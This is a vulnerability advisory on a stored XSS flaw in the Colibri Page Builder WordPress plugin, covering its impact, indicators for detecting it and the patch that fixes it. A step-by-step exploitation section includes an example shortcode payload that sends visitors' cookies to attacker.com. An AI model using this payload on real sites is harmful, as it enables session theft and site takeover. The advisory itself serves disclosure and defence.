CVE-2025-11376: 
WordPress vulnerability analysis and mitigation

CVE-2025-11376 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.335. The flaw exists in the plugin's colibri_loop shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 13, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript into pages via maliciously crafted colibri_loop shortcode attributes. Because the plugin fails to sanitize input or escape output before rendering, the injected script is stored server-side and executes in the browsers of any user who visits the affected page. The vulnerability has a changed scope, meaning the impact crosses the security boundary of the originating context (Wordfence, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who visits an injected page, including administrators. This can lead to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. While availability is not directly impacted, the confidentiality and integrity of user sessions and site content are at risk, and a compromised administrator session could result in full site takeover (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running Colibri Page Builder ≤ 1.0.335.
2. Create or Edit a Page: Navigate to the WordPress editor and create or edit a post/page where the colibri_loop shortcode can be inserted.
3. Inject Malicious Shortcode: Insert a crafted colibri_loop shortcode with a malicious attribute containing a JavaScript payload, e.g., [colibri_loop attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Submit or publish the page so the malicious shortcode is stored in the database.
5. Trigger Execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing colibri_loop shortcode with encoded or raw <script> tags or JavaScript event handlers in attribute values.
• Database: Unexpected <script> tags or JavaScript URIs (e.g., javascript:) stored in wp_posts table content fields associated with pages using the colibri_loop shortcode.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the Colibri Page Builder shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS, but monitor for newly created or modified pages/posts containing suspicious shortcode attributes.

Users should update the Colibri Page Builder plugin to version 1.0.336 or later, which addresses the insufficient sanitization and escaping issues. The fix is available via the WordPress plugin repository changeset (WordPress Trac). As a temporary workaround, site administrators can restrict contributor-level user registration or disable the Colibri Page Builder plugin until the patch is applied. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional defense-in-depth (Wordfence, Sucuri Blog).

Wordfence disclosed and reported the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as one of several plugin-level XSS issues discovered that week (Wordfence Weekly Report). Sucuri included it in their December 2025 vulnerability patch roundup, recommending prompt updates for affected WordPress sites (Sucuri Blog). No significant social media controversy or high-profile researcher commentary has been observed beyond standard disclosure channels.